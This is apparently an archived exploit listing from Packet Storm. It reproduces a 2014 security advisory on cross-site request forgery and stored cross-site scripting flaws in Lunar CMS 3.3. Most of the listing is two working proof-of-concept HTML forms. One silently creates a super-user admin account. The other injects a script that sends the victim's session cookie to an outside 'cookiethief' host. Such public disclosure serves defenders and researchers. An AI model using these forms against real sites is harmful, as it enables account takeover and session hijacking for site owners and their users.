what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Lunar CMS 3.3 CSRF / Cross Site Scripting

Lunar CMS 3.3 CSRF / Cross Site Scripting
Posted Jun 23, 2014
Authored by LiquidWorm | Site zeroscience.mk

Lunar CMS version 3.3 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | 2786bb0d9b249dc88b29677559cc03c90654a9fe474bbf1f8796fb995d991d29

Lunar CMS 3.3 CSRF / Cross Site Scripting

Change Mirror Download
<!--

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability


Vendor: Lunar CMS
Product web page: http://www.lunarcms.com
Affected version: 3.3

Summary: Lunar CMS is a freely distributable open sourcecontent
management system written for use on servers running the ever so
popular PHP5 & MySQL.

Desc: Lunar CMS suffers from a cross-site request forgery and a
stored xss vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'subject' and 'email'
POST parameters thru the 'Contact Form' extension/module is not properly
sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2014-5188
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5188.php


11.06.2014

-->



CSRF Add Admin
===============

<html>
<body>
<form action="http://localhost/lunarcms/admin/user_create.php" method="POST">
<input type="hidden" name="name" value="Hacker" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="password1" value="251ftw" />
<input type="hidden" name="password2" value="251ftw" />
<input type="hidden" name="access" value="0" />
<input type="hidden" name="Submit" value="submit" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

Access levels:

0: Super user
1: Admin
2: Website only



CSRF Stored XSS (Session Hijack)
=================================

<html>
<body>
<form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&top" method="POST">
<input type="hidden" name="email" value='"><script>alert(1);</script>' />
<input type="hidden" name="error" value="2" />
<input type="hidden" name="sent" value="1" />
<input type="hidden" name="subject" value='"><script>var x = new Image();x.src='http://www.example.com/cookiethief.php?cookie='+document.cookie;</script>' />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close